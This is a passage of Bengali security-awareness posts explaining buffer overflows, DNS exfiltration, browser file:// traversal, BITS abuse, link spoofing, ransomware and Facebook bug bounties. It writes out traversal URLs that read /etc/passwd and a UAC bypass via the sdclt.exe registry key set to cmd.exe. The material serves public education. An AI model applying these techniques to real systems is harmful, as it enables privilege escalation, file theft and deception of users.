কিন্তু, এর সাথে ম্যালওয়্যারের সম্পর্ক নেই। তাই, সাধারন সিম কার্ডে call করার মাধ্যমেই ম্যালওয়্যার ইন্সটল হয়ে যাওয়ার ভয় বর্তমানে খুব একটা না করলেও হবে।

তবে, ইন্টারনেটের মাধ্যমে call করার যেসব app আছে, সেগুলোর vulnerability (ক্রুটি) -র মাধ্যমে ম্যালওয়্যার install করিয়ে দেওয়া আলবৎ সম্ভব। যেমন- Whatsapp এর একটি ক্রুটির কারনে শুধুমাত্র call করার মাধ্যমেই হ্যাক করা সম্ভব হয়েছিলো। এই বিষয়ে Facebook কর্তৃপক্ষ নিচের লিংকে ব্যাখ্যা দিয়েছে-

facebook.com/security/advisories/cve-2019-3568

মূলত, এটি সম্ভব হওয়ার একটি কারন buffer overflow নামক একটি ক্রুটি। এই বিষয়ে নিচের লিংকের post এ বিস্তারিত কথা হলো,

Buffer Overflow

প্রাচীন ভারতে মহিষ শিকার করার জন্য পাথরের বাঁধের দিকে হাঁকিয়ে নিয়ে যাওয়া হতো। এরপর পা ভেঙ্গে নিচে ফেলে দিলে নিচে থাকা অন্যান্য শিকারিরা বর্শা এবং ধনুক দিয়ে মহিষগুলোকে পরিপূর্ণভাবে হত্যা করতো।

এখানে মহিষগুলোকে কম্পিউটারের data -র সাথে তুলনা করুন। প্রথমে কম্পিউটারের RAM এর মধ্যে বেশি পরিমাণ data নিয়ে যাওয়া হচ্ছে, এরপর সেগুলো জায়গার অভাবে অন্য জায়গায় চলে যাচ্ছে। Congratulations! আপনি Buffer Overflow নামক কম্পিউটার attack এর প্রাথমিক ধারণা পেয়ে গেছেন! এবারে বিস্তারিত আলোচনায় যাওয়া যাক।

কম্পিউটারে চলমান সফটওয়্যারগুলোর data সারিবদ্ধভাবে মেমোরি বা, RAM এর মধ্যে থাকে। সফটওয়্যার যখন মেমোরিতে এসব data রাখে, তখন আলাদাভাবে ভাগ করে করে রাখে। প্রত্যেক ভাগ বা, অংশকে buffer বলা হয়। মনে করুন- একটি সফটওয়্যার আপনার কাছে পাসওয়ার্ড চাচ্ছে। আপনি পাসওয়ার্ড লিখে পাঠালে পাসওয়ার্ডটি তার জন্য নির্ধারিত করা buffer এর মধ্যে চলে যাবে। এরপর সেই পাসওয়ার্ড সঠিক নাকি ভুল- ইত্যাদি যাচাই করার পর ২য় কাজ শুরু হবে। কিন্তু, এই ২য় কাজটি কম্পিউটারের কোথায় আছে, সেটা কম্পিউটার জানবে কি করে? সেটার পদ্ধতি হচ্ছে- একটি কাজ হওয়ার সময় কম্পিউটারের CPU এর EIP নামক রেজিস্টারে ২য় কাজটির ঠিকানা (address) লেখা থাকে। তাই, আপনার পাসওয়ার্ড যাচাইয়ের কাজ হয়ে গেলে এখান থেকে ২য় কাজটির address জেনে নেওয়া হবে। খুবই সহজ, তাই না?

কিন্তু, 32 bit সফটওয়্যারে অনেক সময় পাসওয়ার্ডের সাথে আরও কিছু data লিখে পাঠানো যায়। তখন একজন ব্যক্তি পাসওয়ার্ডের সাথে ক্ষতিকর code লিখে পাঠিয়ে, ২য় কাজটির address এর জায়গায় ক্ষতিকর

code এর address লিখে দিতে পারবে। ফলে, কম্পিউটার যখন ১ম কাজটি সম্পন্ন করে ২য় কাজ করার জন্য সেটার address খুঁজে run করবে, তখন সেই address এর জায়গায় ক্ষতিকর code এর address লেখা থাকায় সেই ক্ষতিকর code কে-ই run করবে। আর, এর নাম হচ্ছে- buffer overflow। বিষয়টা এতো সহজ করে কোথাও বোঝানো হয় নি। তবে, আপনাদের জন্য আমার এই ক্ষুদ্র প্রচেষ্টা। ধন্যবাদ।

.

মনে করুন- একজন ব্যক্তি আপনাকে call করেছে। সাথে সাথে আপনার মোবাইলের speaker এর মাধ্যমে ringtone বেঁজে উঠছে। অর্থাৎ, যেই app এর মাধ্যমে call করা হয়েছে, সেই app -এ আসা data গুলো processor -এর কাছে যাচ্ছে এবং processor সেই data গুলো প্রসেসিং করে speaker এর কাছে পাঠিয়ে দিচ্ছে। কিন্তু, সেই app -এর যদি এমন ক্রুটি থাকে যে, call এর সাথে মোবাইলে আসা data -র মধ্যে ক্ষতিকর code যুক্ত করে দেওয়া হলে সেগুলোও প্রসেসরের মাধ্যমে execute করে ফেলবে, তাহলেই এই ক্রুটিকে কাজে লাগিয়ে call এর সাথে ম্যালওয়্যারের data পাঠিয়ে দিয়ে সেটি আপনা-আপনি install করা সম্ভব হবে। যদিও, Forbes এর সূত্রে জানা গিয়েছে যে, এই ম্যালওয়্যারটি প্রস্তুতকারী প্রতিষ্ঠানের CEO বলেছে, 'আপনি যদি অপরাধী না হন, তাহলে ভয় নেই'।

পরিশেষে একটি কথাই বলবো- একটি দেশের জন্য এই ধরনের স্পাইওয়্যার ক্রয় করা হবে চরম বোকামি। কারন, নাগরিকের ওপর নজরদারি করতে গিয়ে শেষমেশ নিজেরাই সেই ম্যালওয়্যার কোম্পানির নজরদারিতে পড়বেন

কিনা- তার গ্যারান্টি পাওয়া কঠিন।

লিংক দিয়ে data পাঁচার

আপনি যখন ওয়েবসাইটের নাম লিখে সার্চ দেন, তখন আপনার ব্রাউজার কিভাবে সেই ওয়েবসাইট খুঁজে পায়? অনেকেই বলবেন- DNS সার্ভার থেকে ওয়েব সার্ভারের আইপি এড্রেস বের করার মাধ্যমে ওয়েবসাইটটি খুঁজে বের করা হয়। জি, সঠিক উত্তর। কিন্তু, মনে করুন- সেই ওয়েবসাইটের মালিক আপনার কম্পিউটার হ্যাক করেছে। এখন শুধুমাত্র আপনার কম্পিউটারের ব্রাউজার থেকে তার নিজের ওয়েবসাইটে এরকম রিকুয়েস্ট পাঠানোর মাধ্যমেই data পাঠানো সম্ভব।

কিন্তু, কিভাবে?

উদাহরণ স্বরূপ, আমার ওয়েবসাইট-

intarna.com

এখন আপনি ব্রাউজারে নিচের ওয়েবসাইট লিখে Enter প্রেস করলেন-

notexist.site.intarna.com

বাস্তবে এই ওয়েবসাইট (subdomain) নেই। কিন্তু, সেটা তো আপনার ব্রাউজার জানে না। তাই, এই ওয়েবসাইটের (subdomain) আইপি এড্রেস খুঁজে বের করার জন্য আমার নিয়ন্ত্রিত সার্ভারে (name server) একটি request আসবে। তার একটি অংশ হবে অনেকটা নিচের মতো-

> notexistsiteintarnacom

বুঝতে পারছেন বিষয়টি? এই ওয়েবসাইটের অস্তিত্ব না থাকার পরেও ওয়েবসাইটের লিংকের আগে **notexist.** যুক্ত করে সার্চ করলে আপনার ব্রাউজার আমার সার্ভারে সেটি যুক্ত করে রিকুয়েস্ট পাঠাচ্ছে। অর্থাৎ, আপনার কম্পিউটার হ্যাক করার পর সেই অপরাধী ব্যক্তি যদি তার ওয়েবসাইটে এরকম রিকুয়েস্ট পাঠায় যেখানে **notexist.** এর স্থানে আপনার কম্পিউটারের encoded data থাকবে, তাহলে সেই ওয়েবসাইটের অস্তিত্ব না থাকলেও সেই data যুক্ত একটি রিকুয়েস্ট অপরাধীর সার্ভারে চলে যাবে।

এর একটি বড় সুবিধা হচ্ছে- এন্টি ভাইরাসকে ধোঁকা দেওয়া। তবে, আপনার কম্পিউটার হ্যাক হলে তবেই এটি করার প্রশ্ন আসবে। আর, আমি আশা করি- আপনি যথেষ্ট সচেতনতার সাথে কম্পিউটার ব্যাবহার করবেন এবং হ্যাকিং থেকে নিরাপদ থাকবেন। ধন্যবাদ।

ব্রাউজার হ্যাকিং

একটি সফটওয়্যারের ত্রুটির মাধ্যমে সম্পুর্ন কম্পিউটারই হ্যাক হয়ে যেতে পারে। ওয়েব ব্রাউজার গুলোও একটি সফটওয়্যার তাই, ব্রাউজার হ্যাক হলে পড়তে হবে বিপদে।

আজকের আলোচনার শুরুতে '**লিংকের সাথে একটি ব্রাউজার কিভাবে কাজ করে**' সেই বিষয়ে আমার নিজস্ব রিসার্চ তুলে ধরবো-

আমার Linux কম্পিউটারে Firefox ব্রাউজারে নিচের URL scheme লিখে Enter প্রেস করলে /etc/passwd নামক sensitive একটি file এর মধ্যকার সবকিছু ব্রাউজারে দেখাচ্ছে-

file://google.com/form/file/e2dsf4G5S4sdj2s6C8a4 G/../../../etc/passwd

(লিংকটি space ছাড়া লিখতে হবে। কিন্তু, space ছাড়া লিংকটি ফেসবুকে পরিবর্তিত হয়ে যায় তাই, space দিয়ে লিখতে হয়েছে)।

যদিও Chrome ব্রাউজারে error দেখায় কিন্তু, Firefox ব্রাউজারে সরাসরি আমার file এর মধ্যকার সবকিছু দেখাচ্ছে।

এরপর Windows কম্পিউটারে Microsoft Edge দিয়ে নিচের URL scheme লিখে test করলাম। উপরের মতোই কম্পিউটারের secret.txt নামক একটি file এর মধ্যকার সবকিছু ব্রাউজারে দেখালো-

> file:// google.com /form/file/e2dsf4G5S4sdj2s6C8a4G/../../../C:\Users\userName\secret.txt

(লিংকটি space ছাড়া লিখতে হবে। কিন্তু, space ছাড়া লিংকটি ফেসবুকে পরিবর্তিত হয়ে যায় তাই, space দিয়ে লিখতে হয়েছে)।

কিন্তু, এগুলোর শুরুতে যেহেতু https scheme নেই, তাই এগুলোতে ক্লিক করার মাধ্যমে open করা সম্ভব না (copy-paste কিংবা নিজেই লিখতে হবে)। কিন্তু, আমি আরেকটু ঘাটাঘাটি করে https যুক্ত নিচের হযবরল লিংকটি গঠন করলাম-

https://youtube.com/channel/entertainment/blockbuster/episode/new/../../../../../../@file://google.com/form/file/e2dsf4/../../../../../../etc/passwd

(লিংকটি space ছাড়া লিখতে হবে। কিন্তু, space ছাড়া লিংকটি ফেসবুকে পরিবর্তিত হয়ে যায় তাই, space দিয়ে লিখতে হয়েছে)।

তো, এখন এই লিংকে ক্লিক করেই visit করা সম্ভব। আপনি যদি মনে করেন-

এই লিংকটি youtube.com/channel/entertainment -এ নিয়ে যাবে, তাহলে ভুল করবেন।

এখানে ২ টি জিনিস ঘটবে-

* @ এর আগের অংশটি হয়ে যাবে youtube.com,

* @ এর পরের অংশটি হয়ে যাবে /etc/passwd,

এরপর Youtube এর বিশেষ ফাংশনালিটির জন্য আপনি নিচের লিংকে চলে যাবেন-

youtube.com/user/etc/passwd

এর মাধ্যমে আপনি হ্যাক না হলেও আপনাকে বোকা বানিয়ে একজন ব্যক্তি তার নিজের youtube চ্যানেলে নিয়ে যেতে সক্ষম (যদি এরকম লিংকে ক্লিক করেন)।

যদিও এই বিষয়গুলো প্রত্যক্ষভাবে সিকিউরিটি রিলেটেড না। তবে, **Firefox** এই বিষয়টি সারিয়ে ফেলবে বলে আমাকে জানিয়েছে।

সে যাই হোক, বর্তমান সময়ের ওয়েব ব্রাউজার গুলো sandboxing পদ্ধতি ব্যাবহার করে থাকে। অর্থাৎ, ব্রাউজার open করলে ব্রাউজারের জন্য কম্পিউটারে একটি মূল process (parent process) তৈরি হয়। আর, ব্রাউজারে যেসব ওয়েবসাইট দেখেন, সেগুলো এই মূল process এর অধীনে আলাদা আলাদা child process হিসেবে থাকে। আলাদা আলাদা process হওয়ায় একটি process স্বাভাবিক ভাবে অন্য process এর মেমোরি access করতে পারে না। আবার, ওয়েবসাইটগুলো যেসব process এর মধ্যে দেখানো (render) হয়- সেসব process এর ক্ষমতা অনেক কম থাকে। ফলে, আপনি আমার এই লেখাটি দেখছেন ব্রাউজারের একটি **কম ক্ষমতাশীল** process এর মধ্যে।

এই পদ্ধতির সুবিধা

একজন ব্যক্তি চাইলেই একটি ক্ষতিকর ওয়েবসাইট তৈরি করে খুব সহজে আপনার ডিভাইসের ওপর সম্পুর্ন control নিতে পারবে না। কারন, তার ওয়েবসাইটটি আপনার ব্রাউজারের কম ক্ষমতাশীল (limited permission) process এর মধ্যে কাজ করবে। এমনকি সেই ব্যক্তির ওয়েবসাইটে যদি file upload করার অপশনও থাকে (অর্থাৎ, আপনার ডিভাইসের file কে ওয়েবসাইটে upload করা) সেক্ষেত্রেও,

ওয়েবসাইটের process কে প্রথমে ব্রাউজারের মূল process এর সাথে যোগাযোগ (IPC) করতে হবে, permission নিতে হবে। আবার, একবার permission নিলেই কিন্তু সেই ওয়েবসাইট পুনরায় আপনার ডিভাইসের file এক্সেস করতে পারবে না। তাই, ওয়েব ব্রাউজার হ্যাকিং করা বর্তমানে বেশ কঠিন। তবে, হ্যাক করে দেখাতে পারলে ব্রাউজারের কোম্পানি আপনাকে কোটি কোটি টাকা দিতে প্রস্তুত আছে। সাইবার বিশ্ব নিরাপদ থাকুক। সবাইকে ধন্যবাদ।

অটোমেটিক ম্যালওয়্যার BITS

ম্যালওয়্যার সাধারণত অটোমেটিক ভাবেই কাজ করে। তারপরও শিরোনামে 'অটোমেটিক ম্যালওয়্যার' বলার একটি বিশেষ কারন আছে। আপনি যদি Windows কম্পিউটার ব্যাবহার করে থাকেন তাহলে, আপনার কম্পিউটারে BITS রয়েছে। এটি হচ্ছে Background Intelligent Transfer Service এর সংক্ষিপ্ত রূপ। আপনার কম্পিউটারে নতুন update সমূহ এই BITS এর মাধ্যমেই ডাউনলোড হয়। তবে, সাইবার অপরাধীরাও তাদের অসৎ উদ্দেশ্য বাস্তবায়নে এই BITS এর ব্যাবহার করছে।

**এর কিছু কারন আছে, যেমন-

* সাইবার অপরাধীরা যদি আপনার অগোচরে আপনার কম্পিউটারে ক্ষতিকর data আদান-প্রদান করার সময় আপনি যদি কম্পিউটার বন্ধ করে দেন, তাহলে কিন্তু অপরাধীদের সাথে আপনার কম্পিউটারের সংযোগ বিচ্ছিন্ন হয়ে যাবে এবং ডাউনলোডও সম্পন্ন হবে না। কিন্তু, BITS এর বিষয় আলাদা। আপনি যদি ইন্টারনেটে কোন কাজ করেন, তখন আপনার ইন্টারনেট গতি যেনো slow না হয়ে যায়, সেজন্য BITS যদি কোন update ডাউনলোড করা শুরু করেও থাকে, সাথে সাথে সেই ডাউনলোড pause

করে দিবে। এরপর যখন আপনি ইন্টারনেটে তেমন কোন কাজ করবেন না, তখন আবার ডাউনলোড play করবে। এমনকি কম্পিউটার reboot করলেও যতোটুকু ডাউনলোড করা হয়েছিলো, সেখান থেকেই বাকী অংশ ডাউনলোড শুরু হবে। ফলে, অপরাধীরাও এই BITS ব্যাবহার করে C2 পরিচালনা করছে। এতে করে ক্ষতিকর data আদান-প্রদান করার সময় আপনি কম্পিউটার reboot করলেও পুনরায় ডাউনলোড হয়ে যাবে।

* BITS যেহেতু বিশ্বস্ত প্রোগ্রামের update ডাউনলোড করে; তাই, এন্টি-ভাইরাস সাধারনত BITS এর আদান-প্রদান করা data কে ক্ষতিকর মনে করবে না। ফলে, এতে অপরাধীরাও তাদের কাজ করে যেতে পারবে।

তাই, আপনি যদি কম্পিউটার বিষয়ে এক্সপার্ট না হন তাহলে, এই ধরনের malware activities নিজে থেকে শনাক্ত করা অনেক কঠিন হবে। তারপরও প্রাথমিক চিকিৎসা হিসেবে Wireshark এর মতো packet analyzer ব্যাবহার করতে পারেন এবং কম্পিউটার থেকে ইন্টারনেটে আসা-যাওয়া traffic পর্যবেক্ষন করতে পারেন। কিন্তু, কোন কারনে সন্দেহ হলে অবশ্যই একজন এক্সপার্টের কাছে যেতে হবে। ধন্যবাদ।

IP Rotation

আজকে আপনার ওয়েবসাইট না থাকলেও ভবিষ্যতে হয়তো থাকবে। তখন আপনার ওয়েবসাইটে DDoS আক্রমণের সম্ভাবনা থাকবে। সেই সাথে ওয়েবসাইটের একাউন্ট হ্যাক করার জন্য অপরাধীরা brute force এর মাধ্যমে একের পর এক password দিয়ে login করার চেষ্টা করবে। এসব বিভিন্ন কারণে অনেকেই আপনাকে নিচের পরামর্শটি দিতে পারে-

> আক্রমণের স্বীকার হলে ওয়েবসাইট থেকে অপরাধীর IP এড্রেস block করে দিলেই আপনি নিরাপদ হয়ে যাবেন।

কিন্তু, এই পরামর্শ সম্পূর্ন ভুল। কারণ, অপরাধীরা বিভিন্ন IP rotation এর proxy ব্যাবহার করে প্রতিনিয়ত নিজেদের IP এড্রেস পরিবর্তন করতে সক্ষম। তাই, আপনি একটি IP এড্রেস block করে দিলেও, অপরাধীর অন্যান্য IP এড্রেস block করে দিতে পারছেন না। এছাড়া, cloud system ব্যাবহার করেও একসাথে অসংখ্য IP এড্রেস থেকে আক্রমণ করা সম্ভব।

অনেকে ভাবতে পারেন- বর্তমান যুগে শুধুমাত্র IP এড্রেস block করার মতো কাজ কেউ করবে না। কিন্তু, এই ধারনাটি ভুল। অল্প কয়েকদিন আগেই কয়েক মিলিয়ন user এর একটি social media সাইটে এরকম vulnerability ধরিয়ে দিয়ে একজন হ্যাকার প্রায় ২৫ লাখ টাকা bounty পেয়েছেন। ——————————————**সমাপ্ত**

[Only For Awareness Purpose]

নিচের লিংকটি দেখুন-

google.com/امارات/عربي/امارات/ae.عربي

এটাকে Google এর লিংক ভাবলে ভুল করবেন। মূলত এখানে ওয়েবসাইটের নাম আরবি হওয়ায় সেটি ডান দিকে চলে যাচ্ছে। আর, এখানে google.com হচ্ছে ১ টি file এর নাম, যেটি বামে দেখা যাচ্ছে। এরকম লিংকে গেলে সেই google.com নামক file টি ডাউনলোড হয়ে যাবে। যেমন আমার ওয়েবসাইটের নিচের লিংকে গেলে google.com নামের একটি html file ডাউনলোড হয়ে যাবে-

intarna.com/research/google.com

তবে, আমার ওয়েবসাইটের file টি কোনরূপ ক্ষতিকর না হলেও অপরাধীরা এইভাবে আপনাকে ক্ষতিকর file ডাউনলোড করিয়ে দিতে পারে। যদিও এই পদ্ধতি অনেক পুরাতন এবং ফেসবুকে এই ধরনের লিংক comment করতে গেলে block করে দেয় কিন্তু, ফেসবুক যখন block হওয়া লিংক show করে তখন সেই লিংকের google শব্দটিই বামে থাকে (post এর মতো)। তাই, যেই ওয়েবসাইটে এই blocking system নেই, সেখানে এরকম লিংকের comment করার সুযোগ থাকতে পারে। ফলে, যারা এই বিষয়টি জানেন না তারা সেই লিংকে ক্লিক করে সহজেই ধোঁকার স্বীকার হয়ে যাবে। কারন, তারা ভাববেন- আমরা তো Google এর file ডাউনলোড করছি!

Ransomware

হ্যাকার বনাম অপরাধী

আপনার কম্পিউটার হ্যাক হয়ে আছে কিনা- বলতে পারবেন? আমার অবাক লাগে যখন জানতে পারি- অমুক malware দ্বারা কয়েক মিলিয়ন কম্পিউটার হ্যাক (compromised) হয়ে আছে অথচ, অধিকাংশ মানুষ শুধুমাত্র অনলাইনে প্রতারণা মূলক অপরাধ থেকে সচেতন থেকেই নিজেকে নিরাপদ মনে করছেন! অথচ, অনেকে এটাই জানেন না যে, তাদের কম্পিউটার হ্যাক হয়ে আছে কিনা! সে যাই হোক, আজকের আলোচনার মূল বিষয় হচ্ছে **ransomware** আক্রমণ। মূলত, বর্তমান সময়টা হচ্ছে ransomware আক্রমণের সময়। মনে করুন- সাইবার অপরাধীরা আপনার কম্পিউটারে এমন একটি প্রোগ্রাম প্রবেশ করিয়ে দিলো- যেটা আপনার কম্পিউটারের file গুলো encrypt করে দিয়েছে এবং সেই file গুলো আগের অবস্থায় ফিরিয়ে নিতে চাইলে অপরাধীদেরকে নির্দিষ্ট পরিমাণ টাকা দিয়ে decryption key নিতে হবে। এটাই ransomware আক্রমণ। অল্প কয়েকদিন আগেই আন্তর্জাতিক গণমাধ্যম Reuters এর সূত্রে জানা গেছে যে, এই ransomware আক্রমণের স্বীকার হয়েই গোসত প্যাকিং প্রতিষ্ঠান JBS প্রায় ১১ মিলিয়ন ডলার দিতে বাধ্য হয়েছে।

তবে, এমনও হতে পারে যে, আপনি অনেক চালাক মানুষ; আপনার কম্পিউটারের সকল file অন্য কোথাও সংরক্ষণ (backup) করে রেখেছেন। তাই, অপরাধীরা আপনার কম্পিউটারের file গুলো encrypt

করে দিলেও আপনি অন্য জায়গা থেকে সেই file গুলো নিয়ে আসতে পারবেন; ফলে, অপরাধীদেরকে টাকা দিতে হবে না। কিন্তু, এমনটা ভাবলে ভুল করবেন। বর্তমানে অপরাধীরা শুধুমাত্র আপনার কম্পিউটারের file গুলোই encrypt করবে না বরং, অপরাধীরা আপনার ব্যক্তিগত ছবি/ভিডিও সহ সকল file প্রথমে নিজের কম্পিউটারে পাঠিয়ে (exfiltrate) দিবে। ফলে, আপনি যদি তাদেরকে টাকা দিতে অস্বীকার করেন, তাহলে তারা আপনার ব্যক্তিগত ও গোপন data ইন্টারনেটে ছড়িয়ে দেওয়ার হুমকি দিবে। এই যেমন- ফিনল্যান্ড এর একটি থেরাপি সেন্টারের রোগীদের তথ্য হ্যাক করে সরাসরি রোগীদের কাছেই টাকা চেয়ে ransomware আক্রমণ করা হয়েছে।

মূল আতঙ্কের বিষয় হচ্ছে- হ্যাকিং সম্পর্কিত ভালো জ্ঞান না থাকলেও ransomware আক্রমণ করা সম্ভব। কারণ, ইন্টারনেটে অনেক ফ্রি ransomware প্রজেক্ট রয়েছে। যদিও এগুলোর সম্বন্ধে ১ টি বিষয় মাথায় রাখতে হবে যে, এসব ransomware প্রজেক্ট অনলাইনে নিয়ে আসা হয়েছিলো সাইবার সিকিউরিটি স্পেশালিষ্টদেরকে বাস্তব প্রজেক্টের উদাহরণ দেখিয়ে এনালাইসিসে সাহায্য করার জন্য। কিন্তু, সেগুলো এখন অপরাধীরাও ব্যাবহার করা শুরু করেছে। সেই সাথে, বর্তমানে REvil এর মতো অনেক কিছু চলে এসেছে- যার মাধ্যমে ransomware আক্রমণের ঝুঁকি অনেক বেড়ে গিয়েছে। আর, ডার্ক ওয়েবে শক্তিশালী ransomware বিক্রির কথা আর না-ই বা বললাম।

এখন প্রশ্ন আসতে পারে- এন্টি ভাইরাস গুলো কি ransomware শনাক্ত করতে পারে না?

আপনি কি জানেন- অনেক সিকিউরিটি সম্পর্কিত সফটওয়্যার বা, ওয়েবসাইট নিজেরাই হ্যাক হয়ে গিয়েছিলো? ২০১৪ সালে **EC-Council** হ্যাক হয়ে যাওয়া এর প্রকৃষ্ট উদাহরণ। কারণ, এসব এন্টি-ভাইরাস তো মানুষই তৈরি করে আর, মানুষ মাত্রই ভুল। যদিও, পুরাতন ransomware হলে এন্টি-ভাইরাস গুলো শনাক্ত করতে পারবে। তবে, অপরাধীরা যদি সেসব পুরাতন ransomware এর payload গুলো নিজস্ব **crypter** ব্যাবহার করে encrypt করে পাঠায়, তাহলে এন্টি-ভাইরাস অক্ষম হয়ে যাবে। কারণ, নতুন update না আসা পর্যন্ত একটি এন্টি-ভাইরাস নিজে থেকে কোন নতুন ম্যালওয়্যারকে শনাক্ত করতে পারে না।

সব মিলিয়ে আপনার কম্পিউটারের জন্য ransomware আক্রমণের ঝুঁকি মারাত্মক। কিন্তু, এর চেয়েও বেশি মারাত্মক হবে যদি, সেই ransomware আক্রমণটি আমাদের রাষ্ট্রের বড় বড় প্রতিষ্ঠানকে টার্গেট করে হয়। দেশের সাইবার সিকিউরিটির ওপর গুরুত্ব না দিলে আন্তর্জাতিক সাইবার আক্রমণে বিরাট ক্ষতি হয়ে যাবে। মনে রাখবেন, ইন্টারনেটে প্রতারণা মূলক অপরাধের চেয়েও বড় আতঙ্ক হচ্ছে- হ্যাকিং এর স্বীকার হওয়া। প্রতারিত হলে আপনি বিপদে কিন্তু, ডিভাইস হ্যাক হয়ে গেলে আপনি, আপনার ডিভাইস এবং আপনার ভবিষ্যৎ বিপদে।

UAC Bypass | বিপদ

আপনি যখন একটি কম্পিউটার সিস্টেমের সাথে কথা বলতে পারবেন, সেই মূহুর্ত থেকেই সেই সিস্টেমকে আপনি হ্যাক করে ফেলেছেন। কম্পিউটার নামক যন্ত্রকে command দিয়ে নিরাপদ বানানো যেরকম সম্ভব, সেই নিরাপত্তা ভেদ করাও সম্ভব।এজন্য নিরাপত্তা সিস্টেমকে bypass করা হয়। আপনার কম্পিউটারের অপারেটিং সিস্টেম যদি Windows হয়ে থাকে, তাহলে আপনি যেকোন সময় **UAC bypass** এর মাধ্যমে হ্যাকিং এর স্বীকার হতে পারেন।

Windows কম্পিউটারে Administrator একাউন্ট এর পাশাপাশি বেশ কিছু user একাউন্ট থাকে। কিন্তু, কম্পিউটারে একটি Administrator একাউন্ট যেকোন কাজ করতে ও পরিবর্তন করতে পারলেও, একজন সাধারণ user কখনোই সেসব করার permission রাখে না।

এখন মনে করুন- আপনি social engineering বা, মানুষের ধোঁকায় পড়ে একটি ম্যালওয়্যার ডাউনলোড করলেন। সেই ম্যালওয়্যার যদি গোপনে কম্পিউটারে কোন ধরনের পরিবর্তন আনতে যায়, তখন সেই পরিবর্তন করার জন্য আপনার কাছে Administrative অনুমতি চেয়ে নিচের মতো লেখা দেখাবে-

Do you want to allow this app to make changes to your device?

মনে রাখবেন- এটাকে **UAC prompt** বলে। আপনি যদি **Yes** -এ ক্লিক না করেন, তাহলে ম্যালওয়্যারটি কিন্তু কম্পিউটারে সেই পরিবর্তন আনতে পারবে না। এই অনুমতির বিষয়টি UAC নামক প্রোগ্রাম পর্যবেক্ষন করে।

তবে, Windows কম্পিউটারে এমন কিছু **auto-elevated** প্রোগ্রাম রয়েছে, যেগুলো আপনার কম্পিউটারে Administrative লেভেলে কাজ করতে চাইলেও আপনার থেকে অনুমতি চাওয়ার জন্য উপরের মতো **UAC prompt** দেখাবে না। এরকম একটি প্রোগ্রাম বা, এপ্লিকেশন হচ্ছে- **sdclt.exe**। আপনি যখন কম্পিউটারে একটি প্রোগ্রাম update দেন, তখন সেই প্রোগ্রামের একটি backup নেওয়া হয় এবং তারপর নতুন update ডাউনলোড ও ইন্সটল করা হয়। যদি, কোন কারণে নতুন update ঠিকভাবে সম্পন্ন না হয় তাহলে আগের ভার্সন পুনরায় restore করা হয়। আর, এই গুরুত্বপূর্ন কাজটি করে থাকে সেই **sdclt.exe** নামক প্রোগ্রাম। কিন্তু, একটু আগেই বললাম- এটি একটি auto-elevated প্রোগ্রাম। তাই, একটি ম্যালওয়্যার যদি এই **sdclt.exe** -র মাধ্যমে কম্পিউটারের Administrative লেভেলের কাজ করিয়ে নিতে পারে, তাহলে আপনার কাছে কোন অনুমতি চাইতে হবে না।

কিন্তু, ম্যালওয়্যার কিভাবে sdclt.exe -কে দিয়ে কাজ করাবে?

কম্পিউটারে যখন sdclt.exe প্রোগ্রামটি কাজ করা start করে, তখন কোন বিশেষ কারণে নিচে উল্লিখিত registry লোকেশন check করে-

HKCU\Software\Microsoft\Windows\CurrentVersion \App Paths\control.exe

কিন্তু, Windows কম্পিউটারের সেই লোকেশনে বাস্তবে কোনকিছু নেই। তাই, সেই লোকেশনে যদি value হিসেবে **cmd.exe** এর path লিখে দেওয়া হয়, তাহলেই sdclt.exe যখন কাজ করা শুরু করবে, তখন Administrative লেভেলে একটি command prompt চালু করবে। কিন্তু, কম্পিউটার কিন্তু এটাকে ম্যালওয়্যার হিসেবে শনাক্ত করবে না; কারণ, এটা তো Windows এর নিজেরই একটি বিশ্বস্ত প্রোগ্রাম (sdclt.exe) open করেছে। ফলে, এই পদ্ধতিতে UAC bypass করে একজন attacker যেকোন command -ই run করতে পারবে!

তাই, সতর্ক থাকুন!

ফেসবুকের দুর্বলতা

আজকে আমরা ফেসবুকের সাম্প্রতিক কিছু vulnerability বা, দুর্বলতা নিয়ে আলোচনা করবো। যারা এসব দুর্বলতা ধরিয়ে দেন, তাদেরকে ফেসবুক পুরস্কার প্রদান করে থাকে।

পুরস্কার ১১,০০,০০০ টাকা

ফেসবুকে live ভিডিও করলে, সেই ভিডিওর কিছু অংশ remove করা যায়। যদিও এটা শুধুমাত্র সেই live ভিডিও যিনি করেছেন, তিনিই করতে পারেন; তবে, **Ahmad** নামক একজন হ্যাকার ফেসবুককে দেখিয়েছেন- কিভাবে একজন ব্যক্তি অন্যের live ভিডিওর কিছু অংশ remove করতে পারবে।

পদ্ধতি হচ্ছে- live ভিডিওর কিছু অংশ remove করার সময় **/api/graphql/** -এ একটি request পাঠানো হয়। সেখানে live ভিডিওর id এবং নিজের ফেসবুক একাউন্টের id ব্যাবহার করে যেকেউ live ভিডিওর কিছু অংশ remove করতে পারতো। বিষয়টি যখন তিনি ফেসবুককে জানান, তখন ফেসবুক তাকে ১১,০০,০০০ টাকা পুরস্কার প্রদান করে এবং প্রয়োজনীয় পদক্ষেপ গ্রহণ করে।

পুরস্কার ৪০,০০০ টাকা

Messenger সম্বন্ধে আমরা সবাই জানলেও, Messenger Kids সম্বন্ধে হয়তো অনেকেই জানি না। এই app ব্যাবহার করে আপনার সন্তানের জন্য একটি account তৈরি করতে পারবেন এবং একটি ফেসবুক একাউন্টকে আপনার সন্তানের অভিভাবক হিসেবে select করতে পারবেন।

কিন্তু, Messenger Kids একাউন্ট তৈরি করার পর কাউকে অভিভাবক হিসেবে select করলে, যাকে অভিভাবক হিসেবে select করা হয়েছে, তিনি চাইলেও নিজেকে অভিভাবক থেকে remove করতে পারতেন না। কারন, ফেসবুকে এরকম কোন option ছিলোই না। ফলে, একজন অপরাধী যদি অন্য কাউকে উত্যক্ত করার জন্য Messenger Kids একাউন্ট তৈরি করে এবং যাকে উত্যক্ত করতে চায়- তাকে অভিভাবক হিসেবে select করে দেয়, তখন সেই ব্যক্তি (অভিভাবক) নিজেকে অভিভাবক থেকে remove করতে পারতো না। ফলে, তিনি যদি অপরাধীকে ফেসবুক থেকে block করেও দেন, তবুও Messenger Kids একাউন্ট থেকে তাকে উত্যক্ত করা যাবে। **Samip** নামক একজন হ্যাকার যখন বিষয়টি বুঝতে পারলেন, তখন তিনি ফেসবুককে জানালেন। ফলে, ফেসবুক তাকে ৪০,০০০ টাকা পুরস্কার প্রদান করে এবং কাউকে অভিভাবক হিসেবে select করা হলেও তিনি যেনো নিজেকে remove করতে পারেন, সেই option যুক্ত করে দেয়।

পুরস্কার ৮০,০০০ টাকা

